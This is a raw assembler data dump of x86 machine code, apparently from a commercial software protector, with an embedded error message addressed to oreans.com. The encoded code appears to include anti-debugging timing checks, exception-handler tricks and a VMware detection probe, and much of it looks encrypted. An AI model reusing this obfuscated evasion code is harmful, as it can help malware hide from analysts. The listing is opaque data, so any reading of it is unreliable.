dd 0D5B5FF80h, 8D05E921h, 0E939CF85h, 8BD0FF05h, 0EC05F59Dh
dd 45B8D05h, 0FA9D8D53h, 5305EC05h, 0D0FF006Ah, 5F59D8Bh
dd 3C705ECh, 1, 20C43C7h, 0C7000000h, 0E9302585h, 5, 6A006A00h
dd 8B006A00h, 0EC05F59Dh, 6A5305h, 5F1B5FFh, 95FF05ECh
dd 5EC060Eh, 0EE585C6h, 684505E9h, 92A5F797h, 39B5FFh
dd 858D05E9h, 5E939CFh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h
dd 327504C3h, 5F59D8Bh, 43C705ECh, 0Ch, 6A006A00h, 0F59D8B00h
dd 5305EC05h, 0B5FF006Ah, 5EC05F1h, 60E95FFh, 0B5FF05ECh
dd 5EC05F1h, 2DC595FFh, 6A05E9h, 176195FFh, 96B505E9h
dd 9AEAC281h, 31603316h, 0E91DFD85h, 55BD8B05h, 6105E903h
dd 3A33858Dh, 0BA6605ECh, 0FB10163h, 0CE950h, 635D0000h
dd 6D5F351Bh, 4F19C4E1h, 8B0F7E47h, 6, 8098501h, 0FF6405E9h
dd 35h, 9DB96600h, 258964D4h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DCC35141h
dd 6820F88h, 89000000h, 0E907CD8Dh, 3880F05h, 80000000h
dd 93BA84EAh, 8307686Fh, 0E91EDDBDh, 840F0005h, 37h, 21ED958Bh
dd 0BD8305E9h, 5E901BDh, 24850F01h, 89000000h, 0E92751BDh
dd 0EBD8005h, 5EC0Ah, 11850Fh, 8D0B0000h, 5E92821h, 1E7E9h
dd 0EDB58900h, 3305E926h, 0DE960DBh, 0A5000000h, 0AF18725Ah
dd 59977769h, 6E9E8BC1h, 3758D8Bh, 896105E9h, 0E9317195h
dd 60C03305h, 0CDBD8960h, 2905E907h, 0E91D81B5h, 9D296105h
dd 5E92EE5h, 3F0F4061h, 8F640B07h, 5, 4C48300h, 1E91BD8Bh
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 84BAC9C3h, 831F0970h, 840FFFFBh, 30h, 810Fh
dd 0F600000h, 68Fh, 458D0100h, 0BB05E92Ah, 0CC0A79Dh, 140E961h
dd 0DE90000h, 54000000h, 161C69B2h, 0DDFEBFE6h, 6A1C695h
dd 79E9h, 958B5600h, 5E91EA9h, 0D1B70F59h, 0C244C8Bh, 0A481C7h
dd 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh
dd 0E855h, 815D0000h, 0EC3A55EDh, 0B8838B05h, 8D000000h
dd 0EC3B5B85h, 0B8838905h, 5D000000h, 0FC3C033h, 681h
dd 810F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 1627C356h, 3E587A4Fh
dd 858DC88Bh, 5EC3A4Bh, 0CD8D8B60h, 5305E91Ch, 4FD9D8Bh
dd 615905E9h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0C5C3B4CAh, 6014893Fh, 37DBBA66h
dd 1221BD23h, 0F6105E9h, 0A81h, 48F0F00h, 66000000h, 64F842BAh
dd 35FFh, 0ED800000h, 25896453h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 7BC35040h
dd 0FA8B6642h, 0AB905B6h, 0B8000000h, 4855D704h, 0F7816405h
dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h
dd 564D5868h, 85C70A75h, 5E928E5h, 1, 58F64h, 83000000h
dd 0E9FC04C4h, 7, 0C80F5C68h, 8B981686h, 0D99529C0h, 8305E915h
dd 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h, 8B535019h
dd 43DB8C0h, 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh
dd 0BD83585Bh, 5E91121h, 50177400h, 43DB853h, 85890000h
dd 5E905ADh, 0B5CC9D8Dh, 0D3FF05EBh, 958B585Bh, 5E91269h
dd 0BE9h, 0C991A900h, 3BDB7BDEh, 0FC4FC81Eh, 3AE9C08Bh
dd 4000001h, 31000000h, 3535382Eh, 7 dup(0)
dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 49BD8300h
dd 5E910h, 12D840Fh, 858D0000h, 5EBB3E3h, 4D858D50h, 5005EBB3h
dd 168h, 0F395FF80h, 8D05EBB3h, 0EC3BE285h, 858D5005h
dd 5EC3BECh, 6A006A50h, 61858D00h, 5005EBB3h, 0B3E3B5FFh
dd 95FF05EBh, 5E91D39h, 3BE2858Dh, 8D5005ECh, 0EC3BF085h
dd 6A5005h, 858D006Ah, 5EBB373h, 0E3B5FF50h, 0FF05EBB3h
dd 0E91D3995h, 0E2858D05h, 5005EC3Bh, 3BFC858Dh, 6A5005ECh
dd 8D006A00h, 0EBB3C085h, 0B5FF5005h, 5EBB3E3h, 1D3995FFh
dd 858D05E9h, 5EC3BE2h, 4858D50h, 5005EC3Ch, 6A006Ah, 0B3DE858Dh
dd 0FF5005EBh, 0EBB3E3B5h, 3995FF05h, 8D05E91Dh, 0EC3BE285h
dd 858D5005h, 5EC3C00h, 6A006A50h, 0C7858D00h, 5005EBB3h
dd 0B3E3B5FFh, 95FF05EBh, 5E91D39h, 3BE2858Dh, 8D5005ECh
dd 0EC3BF485h, 6A5005h, 858D006Ah, 5EBB3CFh, 0E3B5FF50h
dd 0FF05EBB3h, 0E91D3995h, 0E2858D05h, 5005EC3Bh, 3BF8858Dh
dd 6A5005ECh, 8D006A00h, 0EBB3D685h, 0B5FF5005h, 5EBB3E3h
dd 1D3995FFh, 0B5FF05E9h, 5EBB3E3h, 0BB195FFh, 0A2E905E9h
dd 83000000h, 0E92281BDh, 840F0005h, 95h, 1BDBD83h, 0F0005E9h
dd 1185h, 19958B00h, 8105E91Dh, 1CF8C2h, 0FE900h, 958D0000h
dd 5E925D1h, 8134528Bh, 0D4C340C2h, 0D995893Bh, 8305E92Fh
dd 0E92FD9BDh, 840F0005h, 55h, 2FD99D8Bh, 0C38305E9h, 89038B4Ch
dd 0EC3BEC85h, 0D99D8B05h, 8305E92Fh, 38B50C3h, 3BF08589h
dd 9D8B05ECh, 5E92FD9h, 8B54C383h, 0FC858903h, 8B05EC3Bh
dd 0E92FD99Dh, 58C38305h, 8589038Bh, 5EC3C00h, 2FD99D8Bh
dd 0C38305E9h, 89038B5Ch, 0EC3BF485h, 49BD8305h, 5E910h
dd 0D850Fh, 0BD830000h, 5E92281h, 68840F00h, 0FF000000h
dd 0EC3C04B5h, 0F8B5FF05h, 0FF05EC3Bh, 0EC3BF4B5h, 0B5FF05h
dd 0FF05EC3Ch, 0EC3BFCB5h, 0F0B5FF05h, 0FF05EC3Bh, 0EC3BECB5h
dd 0E6858D05h, 5005EC3Bh, 3C1E858Dh, 8D5005ECh, 0E913D985h
dd 95FF5005h, 5E903A5h, 6A24C483h, 8858D40h, 5005EC3Ch
dd 13D9858Dh, 6A5005E9h, 0A595FF00h, 6A05E91Dh, 6195FF01h
dd 8B05E917h, 6A60C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 8E0C88C3h, 322D39E7h, 0C08BD68Bh
dd 83D6B70Fh, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h
dd 8B535019h, 40EB8C0h, 85890000h, 5E923B9h, 0B8C49D8Dh
dd 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h, 40EB853h
dd 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh, 0B966585Bh
dd 6A70FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0B2CC18C3h, 6AC08B83h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A9E6C353h
dd 57F987A1h, 8BAD7AB2h, 0DDBD83CFh, 5E91Eh, 30840Fh, 0BE660000h
dd 0BF0F7EB7h, 2A6E9CBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0B23853C3h, 19DCC8C5h
dd 0DF8CAFB7h, 9E9h, 0E2744300h, 0DD86677h, 0F766EB4Fh
dd 0F0004C7h, 26785h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0DCD681E2h, 0BF5F8699h
dd 0
dd 7E851h, 4D190000h, 6E939D1Fh, 1EA8111h, 5E10C18Ch, 0CF9D8D59h
dd 6A05EC42h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0E8B7C351h, 7, 5B7E73C8h, 0E8613A6Fh
dd 8, 3F52A4A9h, 0BB0B8B7Ch, 870Fh, 5A590000h, 0F525093h
dd 87h, 0E8310F00h, 6, 0C2FB99A6h, 52502A10h, 585A310Fh
dd 50585A5Ah, 11E8h, 0EC37E700h, 3988E994h, 0CEA69C18h
dd 80859DF1h, 6656D960h, 5A5ED38Bh, 56006A93h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 8F5ED315h
dd 1BC7544Bh, 66D1BF0Fh, 447AF281h, 35FF64h, 0BE000000h
dd 3A00F95Ah, 6E8BB966h, 258964h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0C72C352h, 69883918h, 8B8C00AAh, 52006AC4h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C9AF7855h
dd 0EB01CDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0E6C35141h, 0EB816660h, 0CE892AEh, 0F1000000h
dd 0ACB600B4h, 28FF18A2h, 66016518h, 6FEEEE81h, 0AE9615Fh
dd 0C2000000h, 0F5600CFAh, 0DE750940h, 56006A4Fh, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 7D4C7475h, 0BE9B186h, 0CE000000h, 8077AC21h, 998FFC62h
dd 8F649B62h, 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 44395C32h, 0C4832287h
dd 0C00BF904h, 72840Fh, 5E90000h, 0C3000000h, 0F255D9A1h
dd 0C88B6661h, 72D4BD8Dh, 840F05E9h, 12h, 0AE8h, 1DE1E400h
dd 47D2C6A4h, 6000DDCBh, 1B85961h, 8B000000h, 0E9E7FFF2h
dd 0Ch, 267BDBBBh, 62973AFDh, 238C3B9h, 245C8B57h, 0B8838B10h
dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
dd 335F0200h, 61BAC3C0h, 661684A1h, 0ABD1C981h, 0E7816061h
dd 2A721B01h, 7B00C0BFh, 0C08B613Eh, 83D2BF0Fh, 0E9164DBDh
dd 9750005h, 1121BD83h, 740005E9h, 8B535019h, 40EB8C0h
dd 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh
dd 5E91121h, 50177400h, 40EB853h, 85890000h, 5E905ADh
dd 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4C559BC3h
dd 4FCB896Ch, 66C08BD9h, 0F5FD981h, 0CE8C28Bh, 3F000000h
dd 1782511Bh, 0A305696Dh, 664F0898h, 26A3DB81h, 0C781F95Fh
dd 613Dh, 94E88166h, 1825B9AEh, 0E2800000h, 8037FFD8h
dd 665EF2D2h, 0C681C38Bh, 2265D78Ch, 336EF681h, 0B70F1757h
dd 54F681D7h, 524D7897h, 0BE9h, 91082A00h, 0E4C6DE9Ah
dd 0B2B5B248h, 0CB815658h, 7B83D0B7h, 0D3B2078Fh, 9E7FEF81h
dd 14B33B02h, 9E7BC781h, 0BA663B02h, 0E98399E1h, 1C850F01h
dd 0F000000h, 29E9C6B7h, 0B9000000h, 0D4CB8056h, 70BB4E91h
dd 12F810A0h, 88205A43h, 663624B6h, 0FB00D281h, 0FFFF84E9h
dd 0B22BA8FFh, 0CF4993E6h, 818377A5h, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5EC4460h
dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0FFh, 0
dd 0C3616000h, 0FFFFF8E9h, 98B58BFFh, 8105EC44h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 9CB53B00h, 0F05EC44h
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 2FD9858Bh, 188605E9h
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 8195FF08h, 5005E930h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 2FD9858Bh, 0C605E9h, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 5E92FD9h, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 5E92F41h, 0
aLdLs db '‹D$',8,'‹˜',0
db 10h
dd 98890000h, 1000h, 1889188Bh, 0AE9h, 4185C700h, 5E92Fh
dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh
dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h
dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh
dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah
dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh
dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh
dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3D85C700h
dd 105EC44h, 50000000h, 244C010Fh, 41858FFEh, 8D05EC44h
dd 0EC443985h, 41BD8D05h, 8905EC44h, 23E938h, 858D0000h
dd 5E925D1h, 538408Bh, 9B46F317h, 44398589h, 858D05ECh
dd 5E925D1h, 893C408Bh, 0EC443D85h, 56858D05h, 8905EC44h
dd 0E9308185h, 87E905h, 8B520000h, 728B60D4h, 0C7A8B08h
dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h
dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h
dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h
dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh
dd 0C9858D00h, 8905EC46h, 0E90D5185h, 0F1858D05h, 8905EC46h
dd 0E9116985h, 19858D05h, 8905EC47h, 0E9247185h, 8EB05h
dd 0
dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0E901BD85h
dd 41858D05h, 8B05EC96h, 888B08h, 8B000010h, 4A8B660Ah
dd 7A8D89FCh, 8305EC47h, 0E90E09BDh, 840F0005h, 0Fh, 0FF006A60h
dd 0E91E9595h, 0C4E96105h, 66FFFFFFh, 0C1FC7289h, 896610CEh
dd 0CD520272h, 85895A04h, 5EC4776h, 477AB58Bh, 0CEC105ECh
dd 72896610h, 7AB58B02h, 6605EC47h, 61FC7289h, 4776858Bh
dd 8DC305ECh, 0E9091D95h, 0D9958905h, 8905E92Fh, 0E9305595h
dd 5585FF05h, 0C605E930h, 0E90EE585h, 0D8685305h, 0FFFCB148h
dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 958589D0h, 8D05E91Eh
dd 0EC447085h, 75858905h, 0E905E926h, 51h, 24748B60h, 3C760324h
dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h
dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah
dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
dd 0FFFFE9E9h, 0FD3EBAFFh, 20EB0009h, 8 dup(0)
dd 5E5E9h, 5D9E900h, 0AA680000h, 0E905EC4Ah, 0FFFD3723h
dd 0EC4B5968h, 3719E905h, 2668FFFDh, 0E905EC4Dh, 0FFFD370Fh
dd 0EC4DBC68h, 3705E905h, 91D1FFFDh, 2B674D6Ah, 0BCF9DFFCh
dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
dd 9265190h, 99B6E923h, 793DEBCCh, 85132552h, 85C24E2Ch
dd 0EE1D2856h, 0B313753Ah, 0BFA0516Ah, 8B830EB6h, 0E0E29C39h
dd 1796C9DFh, 0E4ACFF76h, 0F0C0CF1Fh, 0EB3A47C1h, 86507EB1h
dd 1F9A79D5h, 0B95689C3h, 4F98h, 903E5F00h, 96C986CEh
dd 2B6B19D0h, 0B396C986h, 103EDB3Dh, 0C91AD5EEh, 1282DA16h
dd 7F2D4E6Fh, 16C91A3Fh, 0F74F7EBBh, 1ACC9240h, 5CD216C9h
dd 18A35DFAh, 171C3562h, 0C66F77E8h, 89261606h, 0E71431A7h
dd 73A1D00Dh, 232E0CA9h, 6E000000h, 0C91AD4EEh, 1383DB16h
dd 6207C270h, 0DB4B1C35h, 0C284329Ah, 0CC132552h, 0FCC6F456h
dd 0D6385FA0h, 0A17B8BB9h, 3F093762h, 507FBCA2h, 23D1722h
dd 26D7A1CFh, 5D166E87h, 0A45EFBC2h, 0E643805Dh, 23C65A1h
dd 75D7A1CFh, 15488347h, 39AECEE7h, 71B42B7Fh, 0B3EB8AE9h
dd 832154A3h, 6628D646h, 6869369Bh, 6290B7F8h, 0B7D43698h
dd 11B4287Eh, 36AB5F63h, 8E31A769h, 8BFFBF6Dh, 89FF6936h
dd 28C5EC2Dh, 3F72AC70h, 2191E922h, 8877D07Eh, 41B763CDh
dd 68726F9Eh, 0FF5551D9h, 3012AA62h, 476CDF95h, 34DCCFA6h
dd 2C3AD95Ch, 89h, 58176FF2h, 0BA1A9023h, 2B6B193Bh, 0B316C9EFh
dd 0D679DB3Dh, 0A0E694B5h, 2E16C9EFh, 225083BEh, 9F59F658h
dd 1C35A65Ch, 5B00EC1Bh, 693E8325h, 0D174EACCh, 6C97D6B0h
dd 0F1D7743Eh, 1F4E8AB7h, 0A8C527F1h, 245588C2h, 698AC53Fh
dd 5458140Ch, 18000003h, 0AE94B1D8h, 40264372h, 0D1B7D403h
dd 60466396h, 0D6DAF722h, 3D68A60Ch, 0D2F93A20h, 6590CFB5h
dd 0F5286248h, 7C2A0BD8h, 1325503Ah, 0CA8D6BC4h, 31Fh
dd 5685C20Ah, 1AB29028h, 46FC16C9h, 0E816C91Ah, 16C91AA5h
dd 0C91A6D55h, 1A81C116h, 152D16C9h, 2656C91Ah, 1A175705h
dd 2197D6C9h, 687EC570h, 0AF4C8D20h, 0BAE1E76h, 3C7A3CEAh
dd 0E84D6C9h, 0C8964471h, 0D6DC2FE9h, 0E48EBD60h, 0DCC04596h
dd 40377725h, 41B7D322h, 154883DFh, 51A9C078h, 0CF903EE1h
dd 84D9D941h, 0A4416CAAh, 1C1B4CC2h, 0EBAF756Ah, 2A537F3h
dd 29690000h, 0C3FFE502h, 54917794h, 0E7220825h, 73B197B4h
dd 0BB272B48h, 7996C1FFh, 0E2B5293h, 0A1BEE928h, 314E81BBh
dd 91D58364h, 1D132551h, 88C2E6C4h, 1A206614h, 38AE16C9h
dd 3991A8D6h, 0A97826C9h, 311C3562h, 7BB89EBBh, 0C492F4Ch
dd 4098AFDDh, 0EB0C2DD0h, 2552793Dh, 0B30F8513h, 0F0AA4776h
dd 19D92A49h, 0D1FE1B91h, 969607A2h, 38D58837h, 0C978447Eh
dd 0A3136B16h, 132BD100h, 4FD2811Ah, 8A6485B2h, 26F01E4Dh
dd 446CCF89h, 40B61C35h, 0AD546E9Dh, 335F55F5h, 6E486996h
dd 5313C131h, 5B1325C3h, 915583E5h, 25C22457h, 0B5D2053Fh
dd 0D31395CFh, 0B3A772Ah, 0CA6213DDh, 0A548AA9Fh, 13BC3A76h
dd 0F598C8FAh, 256A0747h, 74118713h, 6A6E24BCh, 0C2D1325h
dd 256A185Eh, 9330A613h, 0DD43025Ah, 56423058h, 5B35D83Ah
dd 2653F01Fh, 0D9EDC178h, 0F0930919h, 0BE00AECFh, 4016C9DDh
dd 0AE409F7Bh, 8BED240Fh, 9BCE08EEh, 8ADAC9F8h, 0E0E43229h
dd 406F9C43h, 767C4BD1h, 0A389267Ah, 70083669h, 16C9A122h
dd 33629F79h, 734BEC05h, 0C8B388DAh, 3890C966h, 0D07725C8h
dd 1A1C3566h, 0ED2701A4h, 7DB79DBAh, 0AD051C4Ah, 51EC9A3Dh
dd 9919D92Eh, 655DF523h, 9216C91Eh, 792784F1h, 7740CFD3h
dd 13h, 64A17B3Dh, 0A03D0735h, 0C92DDCE6h, 152E16h, 7B6E0000h
dd 53366A1h, 1EB00FECh, 95F74821h, 0F5043EF8h, 6F3616C9h
dd 0E304A717h, 1A5214C2h, 0E65C16C9h, 0C91AF0B6h, 0EB88FE16h
dd 62D110BEh, 63D91C35h, 56C61E35h, 79B892B3h, 0B956204Eh
dd 0DDBBB2FFh, 8DBE3419h, 6F724F9Ch, 0D8BF7B73h, 9C000000h
dd 3218355Ch, 0C4AAC7F6h, 553B5887h, 0E4CAE71Ah, 5A5E7BA6h
dd 0C9F43288h, 5E85C6ACh, 0F11C5B41h, 81B4EED4h, 8B69764h
dd 13255746h, 7B11EF48h, 48F662A1h, 16C91A06h, 13B01288h
dd 6F1282DAh, 356262C1h, 0C4F2681Ch, 779EDFB9h, 1A498549h
dd 23C022ECh, 7F2292EAh, 0A03D64A5h, 0B5C0C573h, 0E20319DDh
dd 0CC7F7234h, 17C57C16h, 16CC7F57h, 0E27FE157h, 0DB9B4900h
dd 0E316CC7Fh, 0A6083773h, 7F115503h, 279D16CCh, 59C994C5h
dd 9E966F72h, 42E2h, 9FC60600h, 31609C82h, 0C2F12E14h
dd 5184BFA5h, 0E5104E34h, 941EC4C8h, 280E2B56h, 0BDA3C0E7h
dd 5036537Eh, 0F9C6E316h, 57246A18h, 51AA1325h, 0DCA73h
dd 7B0A0000h, 9A3762A1h, 124C2693h, 0C21442DFh, 692D5B82h
dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
dd 3E023063h, 0E0A4D201h, 864775A4h, 81E78957h, 4C7h, 4EF8100h
dd 87000000h, 895C243Ch, 0B9682434h, 89000036h, 0A468242Ch
dd 89000000h, 0B951241Ch, 5EC48F1h, 54595D51h, 81241C8Bh
dd 4C4h, 2C815500h, 4C262924h, 8438F10h, 29084381h, 8B104C26h
dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h, 2434FF5Ch
dd 4C4815Dh, 0E9000000h, 0FFFD3163h, 7E3FC40Fh, 87006B8Fh
dd 0AD9B1D6Eh, 0B8BBED7Eh, 5EC4E23h, 0C88BC503h, 66E900EBh
dd 0E9000006h, 65Ah, 0EC4F9868h, 3135E905h, 0DE68FFFDh
dd 0E905EC50h, 0FFFD312Bh, 0EC515868h, 3121E905h, 2568FFFDh
dd 0E905EC52h, 0FFFD3117h, 0EC53AE68h, 310DE905h, 99D9FFFDh
dd 336F5572h, 0C401E704h, 57927895h, 0E3210724h, 4B979BB8h
dd 0E906316Fh, 7E9BC203h, 112E5998h, 0A1BEF12Bh, 145F3D4h
dd 8D132554h, 0D4EE5634h, 5A16C91Ah, 16C91A14h, 0C63A754Fh
dd 0C91A5618h, 80E25816h, 31EB8852h, 16C91A6Eh, 0C91AA69Ch
dd 1A3B0816h, 260016C9h, 587FC0E9h, 0D0FE602Ah, 93AF6906h
dd 9C96C91Ah, 8331D444h, 9C322882h, 9973168Ch, 2C122F5Ah
dd 8994C2EDh, 0A94671AFh, 5A81870h, 5115C3E4h, 5D932008h
dd 0CF904AE7h, 8499DB09h, 9456EAAh, 80E2ACDAh, 9EB8852h
dd 9CC76293h, 0F8EF77h, 4B844h, 0C3EA2A00h, 5584C0A6h
dd 0E6155238h, 75A8E3C9h, 9347258h, 0C0FAE8ECh, 543A5782h
dd 0E9CFEC13h, 7C627FAAh, 25F20F42h, 55D09644h, 85DE1325h
dd 5588C2A7h, 1AB28F27h, 38B116C9h, 0FA2D673Dh, 10437D57h
dd 0D47B18E2h, 0DE81B4EEh, 6E9CC304h, 444F07A4h, 1A317523h
dd 47BD16C9h, 578AC4AAh, 9BDA3929h, 81AEE8C2h, 88B61843h
dd 2E5C83C4h, 7F650264h, 0ADDC1845h, 814F2E4Bh, 9F40CFD7h
dd 41Fh, 4BBE3766h, 4A35AC0Dh, 88C27FADh, 1A206614h, 38AE16C9h
dd 0C39DA8D6h, 5F295786h, 1A3B08C2h, 0D4716C9h, 0ADE8ACDAh
dd 1B3E4C7Ah, 0DE0D4A5Ah, 0EA8BFE7Ch, 165380BAh, 1AB6F8A6h
dd 0C23816C9h, 3A5BFE60h, 0C91ACA8Ch, 0AD5ED416h, 3C0BA4BCh
dd 9A41DED4h, 783EECCDh, 8616C93Bh, 0DF1EE210h, 3B6A97B4h
dd 6F9A462Bh, 0AA902D15h, 0D9044370h, 0DE324977h, 4690F717h
dd 0EC4ECB2Eh, 7CAFE9CFh, 22498A4Eh, 5E774B05h, 4A8B16C9h
dd 86DEF523h, 65447316h, 0A3CE0D46h, 544834F2h, 3DC8AB7h
dd 401C3106h
dd 0E50FE1Fh, 901320CEh, 0CEA4EA1Ah, 0B42A1320h, 8EBF3517h
dd 698DE4A1h, 72BA766Eh, 0E4000003h, 7A607DA4h, 0CF20F3Eh
dd 9D83A0CFh, 2C122F62h, 0A2A6C3EEh, 113C7A40h, 0A6CD0EF4h
dd 3964A389h, 0C9FC361Ch, 50FEDFACh, 13254A0Eh, 0C2593790h
dd 63275588h, 4C8F629h, 0C57F9CC3h, 16C91ABDh, 0C92AD1F1h
dd 0CFF03116h, 6E386691h, 0B2D3DE0Ch, 0C90A4204h, 0E0074816h
dd 1A90E8B2h, 0AFFC37Dh, 58B016C9h, 0A69745E8h, 0E81C3222h
dd 0B15A4172h, 0B5AD698Eh, 2F8F9h, 32A6A00h, 95C400E6h
dd 26559278h, 0B5E82309h, 4974B298h, 0BA282Ch, 947A97C2h
dd 290F2C53h, 0BCA2BFEAh, 65324F82h, 4B90D684h, 0C51E1325h
dd 688C2E7h, 0E9228ACBh, 36E487C2h, 16C91E70h, 78A6087Eh
dd 58067AB4h, 16C91E16h, 92C02298h, 723243A2h, 0BBE80538h
dd 0F9FBE8Ch, 6F21D1CAh, 0DD5C0DEBh, 1D44856Bh, 26C325EFh
dd 0CF7A9947h, 26D9740h, 0EE5D0000h, 16C91AD4h, 0A7C4EF2Eh
dd 0B45782C1h, 0D0D42C85h, 703A688Fh, 0FE354FBFh, 1D146F35h
dd 0C05DBF1Ah, 0DA054408h, 185DBCACh, 5224D8Ch, 0CF427A26h
dd 507640h, 6F3C0000h, 0F6B86617h, 0F816C91Ah, 0CF7D2082h
dd 1C320996h, 7871A218h, 0C7698E88h, 22B13CFh, 5D9D0000h
dd 0F7331936h, 88C5ABC8h, 1B563C59h, 0A7E5CBE8h, 875B5F7Ch
dd 0A5C2ED2Bh, 3A577EBFh, 0CDEA1554h, 5D7AADE7h, 0BD01AF90h
dd 41132548h, 5D6D0AE8h, 9CD3EC23h, 7C9D7EC1h, 4FE9AD5Bh
dd 7FF516C9h, 0C94F0F4Fh, 0D8CA8F16h, 6E362962h, 0B8E582E4h
dd 0C9BD4C0Ah, 0AEDC5216h, 668BC9A3h, 0FE9BFD28h, 91AED918h
